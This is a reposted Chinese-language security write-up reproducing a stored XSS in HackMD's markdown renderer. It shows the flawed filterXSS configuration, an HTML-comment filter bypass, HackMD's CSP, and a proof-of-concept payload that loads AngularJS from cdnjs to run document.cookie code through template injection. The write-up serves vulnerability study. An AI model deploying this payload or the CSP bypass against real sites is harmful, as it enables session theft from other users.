markdown反射型xss漏洞復現


markdown xss漏洞復現

轉載至橘子師傅:https://blog.orange.tw/2019/03/a-wormable-xss-on-hackmd.html

漏洞成因

最初是看到HackMD在前端渲染Markdown時的XSS防御所引起我的興趣,由於HackMD允許嵌入客制化的網頁標簽,為了防止XSS的問題勢必得對HTML進行過濾,這里HackMD使用了一個XSS防御函示庫- npm/xss來防御!從相關的文檔及GitHub上的Issue及星星數觀察看起來是一個很成熟的XSS防御函示庫,找到問題的話也是0day等級,不過只是隨手看看而已沒必要還幫幫第三方函示庫找0day吧?
因此把焦點放到函示庫的使用上,再安全的函示庫碰到不安全的用法也會無用武之地,這也是為什么要找專業駭客的緣故!(置入性行銷XD)整個HackMD使用到npm/xss的位置位於public/js/render.js的preventXSS中,第一眼看到這段程式碼就直覺一定會有問題!

var filterXSSOptions = {
  allowCommentTag: true,
  whiteList: whiteList,
  escapeHtml: function (html) {
    // allow html comment in multiple lines
    return html.replace(/<(?!!--)/g, '&lt;').replace(/-->/g, '-->').replace(/>/g, '&gt;').replace(/-->/g, '-->')
  },
  onIgnoreTag: function (tag, html, options) {
    // allow comment tag
    if (tag === '!--') {
            // do not filter its attributes
      return html
    }
  },
  onTagAttr: function (tag, name, value, isWhiteAttr) {
    // allow href and src that match linkRegex
    if (isWhiteAttr && (name === 'href' || name === 'src') && linkRegex.test(value)) {
      return name + '="' + filterXSS.escapeAttrValue(value) + '"'
    }
    // allow data uri in img src
    if (isWhiteAttr && (tag === 'img' && name === 'src') && dataUriRegex.test(value)) {
      return name + '="' + filterXSS.escapeAttrValue(value) + '"'
    }
  },
  onIgnoreTagAttr: function (tag, name, value, isWhiteAttr) {
    // allow attr start with 'data-' or in the whiteListAttr
    if (name.substr(0, 5) === 'data-' || window.whiteListAttr.indexOf(name) !== -1) {
      // escape its value using built-in escapeAttrValue function
      return name + '="' + filterXSS.escapeAttrValue(value) + '"'
    }
  }
}

function preventXSS (html) {
  return filterXSS(html, filterXSSOptions)
}

為了提供開發者可以自由的客制化過濾的處理,npm/xss提供了多個不同的選項給開發者,而其中在onIgnoreTag這個callback中,開發者判斷了如果是注解的標簽便直接回傳原始的HTML內容,在JavaScript上的注解也寫得很直白!

do not filter its attributes

可以想像開發者原本的用意應該是希望保留注解原本的內容! 既然它這么相信注解中的內容,那我們來看一下是否可以從注解標簽中去污染DOM 的渲染! 我們構造如下的HTML 內容:

<!-- foo="bar--> <s>Hi</s>" -->

把 bar--> ... 當成一個屬性的值,並在這個值中使用 --> 去閉合前方的注解標簽,如此一來便輕松地繞過只允許信任的HTML標簽及屬性,去插入惡意的HTML代碼!

繞過CSP 政策:

到這里,你可能以為已經結束了,閉合前方的<!--標簽后再插入script標簽去執行任意JavaScript代碼!但事情不是憨人想的那么簡單,為了防止未知的XSS攻擊,HackMD使用了CSP(Content Security Policy)去阻擋未授權的JavaScript代碼執行!相關的CSP政策如下:

content-security-policy: script-src 'self' vimeo.com https://gist.github.com www.slideshare.net https://query.yahooapis.com 'unsafe-eval' https://cdnjs.cloudflare.com https://cdn.mathjax.org https://www.google.com https://apis.google.com https://docs.google.com https://www.dropbox.com https://*.disqus.com https://*.disquscdn.com https://www.google-analytics.com https://stats.g.doubleclick.net https://secure.quantserve.com https://rules.quantcount.com https://pixel.quantserve.com https://js.driftt.com https://embed.small.chat https://static.small.chat https://www.googletagmanager.com https://cdn.ravenjs.com 'nonce-38703614-d766-4dff-954b-57372aafe8bd' 'sha256-EtvSSxRwce5cLeFBZbvZvDrTiRoyoXbWWwvEVciM5Ag=' 'sha256-NZb7w9GYJNUrMEidK01d3/DEtYztrtnXC/dQw7agdY4=' 'sha256-L0TsyAQLAc0koby5DCbFAwFfRs9ZxesA+4xg0QDSrdI='; img-src * data:; style-src 'self' 'unsafe-inline' https://assets-cdn.github.com https://cdnjs.cloudflare.com https://fonts.googleapis.com https://www.google.com https://fonts.gstatic.com https://*.disquscdn.com https://static.small.chat; font-src 'self' data: https://public.slidesharecdn.com https://cdnjs.cloudflare.com https://fonts.gstatic.com https://*.disquscdn.com; object-src *; media-src *; frame-src *; child-src *; connect-src *; base-uri 'none'; form-action 'self' https://www.paypal.com; upgrade-insecure-requests

仔細分析這個CSP政策,看到unsafe-eval這個關鍵字,第一個想到的是在2017年Black Hat USA由幾個Google Security成員所發表的Breaking XSS mitigations via Script Gadgets 手法!不過其實不用這么麻煩,CSP政策還允許了https://cdnjs.cloudflare.com/這個JavaScript hosting服務,上方提供了許多第三方函示庫以供引入!由於這個CDN提供商,繞過CSP就變成很簡單的一件事情了!我們可以直接使用AngularJS函示庫,配合Client -Side Template Injection的方式輕松繞過!

PS:如果你對於CSP的政策不甚熟悉但還是想檢查自己的網站是否設置正確的話,可以使用Google所提供的CSP Evaluator來檢測!

poc如下:

<!-- foo="-->
<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js>
</script>
<div ng-app>
    {{constructor.constructor('alert(document.cookie)')()}}
</div>
//sssss" -->

復現截圖:


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM